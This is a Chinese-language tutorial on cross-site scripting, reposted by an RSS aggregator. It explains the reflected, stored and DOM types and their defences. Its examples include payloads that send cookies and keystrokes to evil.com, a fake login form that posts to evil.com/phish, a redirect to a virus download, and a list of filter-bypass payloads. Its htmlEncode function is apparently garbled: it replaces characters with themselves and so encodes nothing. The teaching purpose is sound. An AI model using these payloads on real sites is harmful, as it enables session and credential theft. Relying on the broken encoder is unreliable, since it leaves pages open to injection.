跨站脚本攻击（Cross-Site Scripting，XSS）是一种常见的Web安全漏洞，攻击者通过在目标网站中注入恶意脚本代码，当用户访问该网站时，这些脚本会在用户的浏览器中执行，从而窃取用户敏感信息、劫持用户会话、篡改网页内容等。
核心原理：攻击者利用网站对用户输入过滤不严格的问题，将恶意代码注入到网页中。
特点：恶意脚本不存储在目标服务器，而是通过URL参数、表单提交等方式即时反射回来执行。
攻击流程：
用户点击恶意链接 → 请求发送到服务器 → 服务器返回带恶意脚本的页面 → 用户浏览器执行脚本
示例：
<!-- 存在漏洞的搜索功能 -->
<input type="text" name="search" value="<?php echo $_GET['search']; ?>">
<!-- 攻击者构造的URL -->
http://example.com/search.php?search=<script>alert('XSS')</script>
特点：恶意脚本被永久存储在目标服务器（数据库、文件系统等），每当用户访问受影响页面时都会执行。
攻击流程：
攻击者提交恶意数据 → 服务器存储到数据库 → 其他用户请求页面 → 服务器返回恶意脚本 → 用户浏览器执行
常见场景：
示例：
// 攻击者在评论区提交
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
// 其他用户查看评论时，cookie被窃取
特点：完全不经过服务器，通过修改DOM环境中的JavaScript代码执行。
攻击流程：
用户点击链接 → 客户端JavaScript解析URL参数 → 直接修改DOM → 恶意脚本执行
示例：
<!-- 漏洞代码 -->
<script>
var name = location.hash.substring(1);
document.write("Welcome " + name);
</script>
<!-- 攻击URL -->
http://example.com/#<img src=x onerror=alert(1)>
// 窃取Cookie
var img = new Image();
img.src = 'http://evil.com/steal?cookie=' + document.cookie;
document.onkeypress = function(e) {
fetch('http://evil.com/log', {
method: 'POST',
body: 'key=' + e.key
});
}
// 伪造登录表单
document.body.innerHTML = `
<div style="position:absolute;top:0;width:100%;height:100%;background:white">
<form action="http://evil.com/phish">
<input type="password" name="password">
<button>请重新登录</button>
</form>
</div>
`;
// 探测内网IP
fetch('http://192.168.1.1')
.then(res => fetch('http://evil.com/ip?found=true'));
window.location = 'http://evil.com/virus.exe';
基础测试：
<script>alert('XSS')</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
绕过过滤：
<!-- 大小写混淆 -->
<ScRiPt>alert(1)</ScRiPt>
<!-- 编码绕过 -->
<img src=x onerror=alert(1)>
<!-- 事件属性 -->
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<!-- 伪协议 -->
<a href="javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)">
根据上下文选择正确的编码方式：
// HTML实体编码
function htmlEncode(str) {
return str.replace(/[&<>]/g, function(m) {
if (m === '&') return '&';
if (m === '<') return '<';
if (m === '>') return '>';
return m;
});
}
// HTML属性编码
function attributeEncode(str) {
return str.replace(/[&<>"']/g, function(m) {
// 编码所有特殊字符
});
}
// JavaScript编码
function jsEncode(str) {
return str.replace(/[\\'"]/g, function(m) {
return '\\' + m.charCodeAt(0).toString(16);
});
}
// 使用白名单
$allowedTags = '<b><i><u>';
$clean = strip_tags($input, $allowedTags);
// 使用HTML Purifier（PHP）
require_once 'HTMLPurifier.auto.php';
$purifier = new HTMLPurifier();
$clean = $purifier->purify($input);
# HTTP响应头
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
<!-- Meta标签 -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'nonce-abc123'">
Set-Cookie: sessionId=xxx; HttpOnly; Secure; SameSite=Strict
React（自动转义）：
// 默认安全
<div>{userInput}</div>
// 危险操作（需谨慎）
<div dangerouslySetInnerHTML={{__html: userInput}} />
Vue：
<!-- 自动转义文本 -->
<div>{{ userInput }}</div>
<!-- 危险操作 -->
<div v-html="userInput"></div>
其他框架：
javascript: 拼接、事件属性混淆<img> 标签XSS虽然历史悠久，但在现代Web应用中仍然普遍存在。通过理解其原理、掌握防御技术，可以有效降低安全风险。记住：输出编码是防御XSS的核心，配合CSP和HttpOnly Cookie才能构建完整防御体系。
此内容由惯性聚合(RSS阅读器)自动聚合整理，仅供阅读参考。 原文来自 — 版权归原作者所有。